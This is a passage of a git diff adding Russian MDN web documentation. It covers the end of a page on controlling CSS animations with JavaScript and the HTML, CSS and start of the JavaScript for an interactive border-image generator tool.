    4. +
+ +

Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:

+ +
document.querySelector(".runButton").addEventListener("click", play, false);
+ +

Результат

+ +

{{ EmbedLiveSample('Run_an_animation_again', 320, 160) }}

+ +

Остановка анимации

+ +

Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:

+ +
    +
  1. Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на animation-direction: alternate. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.
    2. +
  2. Используйте JavaScript и очистите анимацию, используемую при запуске событияanimationiteration .
    3. +
+ +

Следующая демонстрация показывает, как вы могли бы достичь вышеупомянутой техники JavaScript:

+ +
.slidein {
+  animation-duration: 5s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+.stopped {
+  animation-name: none;
+}
+
+@keyframes slidein {
+  0% {
+    margin-left: 0%;
+  }
+  50% {
+    margin-left: 50%;
+  }
+  100% {
+    margin-left: 0%;
+  }
+}
+
+ +
<h1 id="watchme">Click me to stop</h1>
+
+ +
let watchme = document.getElementById('watchme')
+
+watchme.className = 'slidein'
+const listener = (e) => {
+  watchme.className = 'slidein stopped'
+}
+watchme.addEventListener('click', () =>
+  watchme.addEventListener('animationiteration', listener, false)
+)
+
+ +

Demo https://jsfiddle.net/morenoh149/5ty5a4oy/

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_background_and_borders/border-image_generator/index.html b/files/ru/web/css/css_background_and_borders/border-image_generator/index.html new file mode 100644 index 0000000000..750bbe96f3 --- /dev/null +++ b/files/ru/web/css/css_background_and_borders/border-image_generator/index.html @@ -0,0 +1,2628 @@ +--- +title: Генератор Border-image +slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator +tags: + - CSS + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator +--- +

Этот инструмент можно использовать, чтобы генерировать CSS3 значения {{cssxref("border-image")}}.

+ +
+

Border Image Generator

+ +

HTML Content

+ +
    <div id="container">
+
+        <div id="gallery">
+            <div id="image-gallery">
+                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/>
+            </div>
+        </div>
+
+        <div id="load-actions" class="group section">
+            <div id="toggle-gallery" data-action="hide"> </div>
+            <div id="load-image" class="button"> Upload image </div>
+            <input id="remote-url" type="text" placeholder="Load an image from URL"/>
+            <div id="load-remote" class="button"> </div>
+        </div>
+
+        <div id="general-controls" class="group section">
+            <div class="name"> Control Box </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">scale</div>
+                <div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10">
+                </div>
+            </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">draggable</div>
+                <div class="ui-checkbox" data-topic='drag-subject'></div>
+            </div>
+            <div class="property right">
+                <div class="name">section height</div>
+                <div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000">
+                </div>
+            </div>
+        </div>
+
+        <div id="preview_section" class="group section">
+            <div id="subject">
+                <div class="guideline" data-axis="Y" data-topic="slice-top"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-right"></div>
+                <div class="guideline" data-axis="Y" data-topic="slice-bottom"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-left"></div>
+            </div>
+            <div id="preview"> </div>
+        </div>
+
+        <!-- controls -->
+        <div id="controls" class="group section">
+
+            <!-- border-image-slice -->
+            <div id="border-slice-control" class="category">
+                <div class="title"> border-image-slice </div>
+                <div class="property">
+                    <div class="name">fill</div>
+                    <div class="ui-checkbox" data-topic='slice-fill'></div>
+                </div>
+            </div>
+
+            <!-- border-image-width -->
+            <div id="border-width-control" class="category">
+                <div class="title"> border-image-width </div>
+            </div>
+
+            <!-- border-image-outset -->
+            <div id="border-outset-control" class="category">
+                <div class="title"> border-image-outset </div>
+            </div>
+
+            <!-- other-settings -->
+            <div id="aditional-properties" class="category">
+                <div class="title"> aditional-properties </div>
+                <div class="property">
+                    <div class="name"> repeat-x </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2">
+                        <div data-value="0">repeat</div>
+                        <div data-value="0">stretch</div>
+                        <div data-value="0">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="name"> repeat-y </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2">
+                        <div data-value="1">repeat</div>
+                        <div data-value="1">stretch</div>
+                        <div data-value="1">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3">
+                    </div>
+                </div>
+
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3">
+                    </div>
+                </div>
+            </div>
+
+
+            <div id="output" class="category">
+                <div class="title"> CSS Code </div>
+                <div class="css-property">
+                    <span class="name"> border-image-slice: </span>
+                    <span id="out-border-slice" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-width: </span>
+                    <span id="out-border-width" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-outset: </span>
+                    <span id="out-border-outset" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-repeat: </span>
+                    <span id="out-border-repeat" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-source: </span>
+                    <span id="out-border-source" class="value">  </span>
+                </div>
+            </div>
+
+        </div>
+    </div>
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list > div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list > div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover > * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] > * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider > input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
